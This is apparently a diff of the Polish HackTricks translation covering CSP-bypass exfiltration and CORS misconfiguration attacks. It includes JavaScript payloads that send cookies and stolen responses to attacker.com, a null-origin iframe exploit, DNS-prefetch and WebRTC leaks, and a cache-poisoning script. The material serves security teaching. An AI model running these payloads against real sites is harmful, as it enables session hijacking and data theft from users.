Możesz po prostu zaktualizować lokalizację, aby przesłać poufne informacje na serwer atakującego:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
@ -683,28 +689,28 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
|
|||
|
||||
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
|
||||
|
||||
#### What is Content Security Policy (CSP)?
|
||||
#### What is CSP?
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header to restrict the resources that a browser can load for a specific web page.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page.
|
||||
|
||||
#### Bypassing CSP using Unrestricted Directives
|
||||
#### Bypassing CSP
|
||||
|
||||
One way to bypass CSP is by utilizing unrestricted directives such as `unsafe-inline` and `unsafe-eval`. These directives allow the execution of inline scripts and dynamic code evaluation, which are typically restricted by CSP.
|
||||
There are several ways to bypass CSP, including:
|
||||
|
||||
#### Bypassing CSP using Trusted Sources
|
||||
1. **Inline Script Execution**: By finding ways to execute scripts inline within the HTML document.
|
||||
2. **External Script Execution**: Loading external scripts from unauthorized sources.
|
||||
3. **Data Injection**: Injecting data into the page to execute malicious code.
|
||||
4. **Unsafe Inline**: Using `'unsafe-inline'` directive in the CSP policy.
|
||||
5. **Nonce Bypass**: Finding ways to bypass the nonce value used in CSP.
|
||||
|
||||
Another way to bypass CSP is by loading malicious content from trusted sources that are whitelisted in the CSP policy. By exploiting vulnerabilities in these trusted sources, an attacker can execute malicious code while bypassing the CSP restrictions.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Bypassing CSP can be challenging but is essential for a successful attack on a web application protected by CSP. By understanding the limitations of CSP and utilizing various bypass techniques, an attacker can effectively bypass CSP and execute malicious code on the target application.
|
||||
By understanding these techniques, you can effectively test the security of web applications that have CSP implemented.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
W celu uniknięcia tego zdarzenia serwer może wysłać nagłówek HTTP:
|
||||
Aby temu zapobiec, serwer może wysłać nagłówek HTTP:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
@ -720,7 +726,7 @@ W rzeczywistości możesz _wyciekać_ informacje za pomocą _żądania DNS_. Spr
|
|||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
Inna opcja:
|
||||
Inny sposób:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -758,13 +764,13 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Spojrzenie na Hacking**\
|
||||
Zanurz się w treści, które zgłębiają emocje i wyzwania związane z hakerstwem
|
||||
Zanurz się w treści, które zgłębiają emocje i wyzwania hackowania
|
||||
|
||||
**Aktualności z Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spojrzeniom na żywo
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,30 +18,30 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Standard Cross-Origin Resource Sharing (CORS) **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** i **jakie metody żądań HTTP są dozwolone** z zewnętrznych źródeł.
|
||||
|
||||
Polityka **tego samego pochodzenia** nakazuje, że **serwer żądający** zasobu i serwer hostujący **zasób** muszą dzielić taki sam protokół (np. `http://`), nazwę domeny (np. `internal-web.com`) i **port** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają zezwolenie na dostęp do zasobów.
|
||||
Polityka **tego samego pochodzenia** nakazuje, że **serwer żądający** zasobu i serwer hostujący **zasób** muszą współdzielić taki sam protokół (np. `http://`), nazwę domeny (np. `internal-web.com`) i **port** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.
|
||||
|
||||
Zastosowanie polityki tego samego pochodzenia w kontekście `http://normal-website.com/example/example.html` jest zilustrowane poniżej:
|
||||
|
||||
| Odwołany URL | Dostęp dozwolony? |
|
||||
| ---------------------------------------- | -------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Tak: Identyczny schemat, domena i port |
|
||||
| `http://normal-website.com/example2/` | Tak: Identyczny schemat, domena i port |
|
||||
| `https://normal-website.com/example/` | Nie: Inny schemat i port |
|
||||
| `http://en.normal-website.com/example/` | Nie: Inna domena |
|
||||
| `http://www.normal-website.com/example/` | Nie: Inna domena |
|
||||
| `http://normal-website.com:8080/example/`| Nie: Inny port\* |
|
||||
| --------------------------------------- | ------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Tak: Identyczny schemat, domena i port |
|
||||
| `http://normal-website.com/example2/` | Tak: Identyczny schemat, domena i port |
|
||||
| `https://normal-website.com/example/` | Nie: Inny schemat i port |
|
||||
| `http://en.normal-website.com/example/` | Nie: Inna domena |
|
||||
| `http://www.normal-website.com/example/`| Nie: Inna domena |
|
||||
| `http://normal-website.com:8080/example/`| Nie: Inny port\* |
|
||||
|
||||
\*Internet Explorer pomija numer portu w egzekwowaniu polityki tego samego pochodzenia, co umożliwia ten dostęp.
|
||||
\*Internet Explorer pomija numer portu przy egzekwowaniu polityki tego samego pochodzenia, co umożliwia ten dostęp.
|
||||
|
||||
### Nagłówek `Access-Control-Allow-Origin`
|
||||
|
||||
Ten nagłówek może zezwalać na **wiele źródeł**, wartość **`null`** lub znak wieloznaczny **`*`**. Jednak **żaden przeglądarka nie obsługuje wielu źródeł**, a użycie znaku wieloznacznego `*` podlega **ograniczeniom**. (Znak wieloznaczny musi być używany samodzielnie, a jego użycie razem z `Access-Control-Allow-Credentials: true` nie jest dozwolone.)
|
||||
Ten nagłówek może zezwalać na **wiele źródeł**, wartość **`null`** lub dziką kartę **`*`**. Jednak **żaden przeglądarka nie obsługuje wielu źródeł**, a użycie dzikiej karty `*` podlega **ograniczeniom**. (Dzika karta musi być używana samodzielnie, a jej użycie w połączeniu z `Access-Control-Allow-Credentials: true` nie jest dozwolone.)
|
||||
|
||||
Ten nagłówek jest **wysyłany przez serwer** w odpowiedzi na żądanie zasobu z innej domeny zainicjowane przez stronę internetową, a przeglądarka automatycznie dodaje nagłówek `Origin`.
|
||||
|
||||
### Nagłówek `Access-Control-Allow-Credentials`
|
||||
|
||||
Domyślnie, żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczytanie odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
|
||||
Domyślnie żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
|
||||
|
||||
Jeśli ustawione jest na `true`, przeglądarka przekaże uwierzytelniające dane (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).
|
||||
```javascript
|
||||
|
@ -74,11 +74,11 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### Zrozumienie Zapytań Wstępnych w Komunikacji Między Domenami
|
||||
|
||||
Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie **metody HTTP niestandardowej** (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków**, lub zastosowanie specjalnej wartości nagłówka **Content-Type**, może być konieczne zastosowanie zapytania wstępnego. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar użyć.
|
||||
Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie **niestandardowej metody HTTP** (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków**, lub zastosowanie specjalnej wartości nagłówka **Content-Type**, może być konieczne zastosowanie zapytania wstępnego. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar wykorzystać.
|
||||
|
||||
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje tę wstępną kontrolę w celu określenia wykonalności żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków i zaufania pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność zapytania wstępnego, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje tę wstępną kontrolę w celu określenia wykonalności żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków oraz zaufania pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność zapytania wstępnego, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Należy zauważyć, że **brak zapytania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.
|
||||
Należy zauważyć, że **brak zapytania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków, przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.
|
||||
|
||||
Rozważ poniższą ilustrację zapytania wstępnego mającego na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
|
||||
```
|
||||
|
@ -101,12 +101,12 @@ Access-Control-Max-Age: 240
|
|||
```
|
||||
* **`Access-Control-Allow-Headers`**: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
|
||||
* **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.
|
||||
* **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, przez jaki informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.
|
||||
* **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, przez który informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.
|
||||
* **`Access-Control-Request-Headers`**: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
|
||||
* **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, który metodę HTTP zostanie użyta w rzeczywistym żądaniu.
|
||||
* **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.
|
||||
|
||||
Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ pozwalający na to.\
|
||||
Zauważ, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ pozwalający na to.\
|
||||
**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).**
|
||||
|
||||
### **Żądanie wstępne lokalnej sieci**
|
||||
|
@ -126,22 +126,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux działa jako sposób na **obejście** tych wymagań, umożliwiając dostęp do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".
|
||||
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux działa w celu **obejścia** tych wymagań, umożliwiając dostęp do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".
|
||||
|
||||
Możliwe jest również **obejście wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli jest dostępny **publiczny adres IP**, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
|
||||
Możliwe jest również **obejście wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli **publiczny adres IP** jest używany, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
|
||||
{% endhint %}
|
||||
|
||||
## Wykorzystywane błędy konfiguracyjne
|
||||
|
||||
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem koniecznym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce wysyłać dane uwierzytelniające i odczytywać odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast zrobienia tego samemu maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niemożliwe.
|
||||
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem koniecznym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce wysyłać dane uwierzytelniające i odczytywać odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast samodzielnie tego robić maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.
|
||||
|
||||
### Wyjątek: Wykorzystanie Lokalizacji Sieciowej jako Formy Uwierzytelnienia
|
||||
|
||||
Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na użycie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP, aby uzyskać dostęp do aplikacji intranetowych. Ta metoda ma podobne skutki jak przekierowanie DNS, ale jest łatwiejsza do wykorzystania.
|
||||
Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP w celu uzyskania dostępu do aplikacji sieciowych. Ta metoda ma pewne podobieństwa z atakiem DNS rebinding, ale jest łatwiejsza do wykorzystania.
|
||||
|
||||
### Odzwierciedlenie `Origin` w `Access-Control-Allow-Origin`
|
||||
|
||||
Scenariusz w rzeczywistości, gdzie wartość nagłówka `Origin` jest odzwierciedlana w `Access-Control-Allow-Origin`, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten sposób może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wyglądała na wiarygodną, wprowadzając w błąd logikę walidacji.
|
||||
Scenariusz w rzeczywistości, gdzie wartość nagłówka `Origin` jest odzwierciedlana w `Access-Control-Allow-Origin`, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten sposób może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -156,7 +156,7 @@ location='/log?key='+this.responseText;
|
|||
```
|
||||
### Wykorzystanie pochodzenia `null`
|
||||
|
||||
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframu, co umożliwia ominięcie ograniczeń CORS.
|
||||
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` poprzez osadzony iframe w piaskownicy, co umożliwia ominięcie ograniczeń CORS.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -184,7 +184,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### Techniki bypassowania wyrażeń regularnych
|
||||
|
||||
Podczas napotkania białej listy domen ważne jest przetestowanie możliwości bypassowania, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą przeoczyć niuanse w konwencjach nazewnictwa domen, co stwarza dodatkowe możliwości bypassowania.
|
||||
Podczas napotkania białej listy domen, kluczowe jest przetestowanie możliwości bypassowania, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą przeoczyć niuanse w konwencjach nazewnictwa domen, co stwarza dodatkowe możliwości bypassowania.
|
||||
|
||||
### Zaawansowane techniki bypassowania wyrażeń regularnych
|
||||
|
||||
|
@ -198,7 +198,7 @@ Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.)
|
|||
|
||||
Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnienie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
|
||||
|
||||
Dla przykładu, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do uzyskiwania zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:
|
||||
Dla przykładu, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do dostępu do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -206,13 +206,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
W tej konfiguracji wszystkie subdomeny `requester.com` mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana z podatnością XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` mógłby wykorzystać podatność XSS do obejścia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
|
||||
W tej konfiguracji wszystkie subdomeny `requester.com` mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana z podatnością XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` może wykorzystać podatność XSS do obejścia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
|
||||
|
||||
### **Zatrucie pamięci podręcznej po stronie serwera**
|
||||
|
||||
[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.
|
||||
Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako legalny terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.
|
||||
|
||||
Rozważmy poniższe żądanie, w którym nagłówek `Origin` jest manipulowany:
|
||||
```
|
||||
|
@ -225,11 +225,11 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnego nagłówka przez przeglądarkę internetową nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że serwerowa pamięć podręczna zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
|
||||
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnego nagłówka za pomocą przeglądarki internetowej nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że serwerowa pamięć podręczna zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
|
||||
|
||||
Aby uzyskać więcej informacji na temat podatności stored XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
Dla dalszej lektury na temat przechowywanych podatności XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie serwerowej pamięci podręcznej, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
|
||||
**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
|
||||
|
||||
### **Zatrucie pamięci podręcznej po stronie klienta**
|
||||
|
||||
|
@ -237,9 +237,9 @@ Aby uzyskać więcej informacji na temat podatności stored XSS, zobacz [PortSwi
|
|||
|
||||
W tym scenariuszu zaobserwowano instancję strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
|
||||
|
||||
Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Istotny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, staje się możliwe, aby złośliwa odpowiedź została zapisana w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
|
||||
Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
|
||||
|
||||
Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowanego do wykonania w środowisku strony internetowej, na przykład poprzez JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie pod wskazany adres URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
|
||||
Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowanego do wykonania w środowisku strony internetowej, na przykład poprzez JSFiddle. Ten skrypt wykonuje prostą akcję: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
|
||||
|
||||
Oto zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:
|
||||
```html
|
||||
|
@ -257,9 +257,9 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
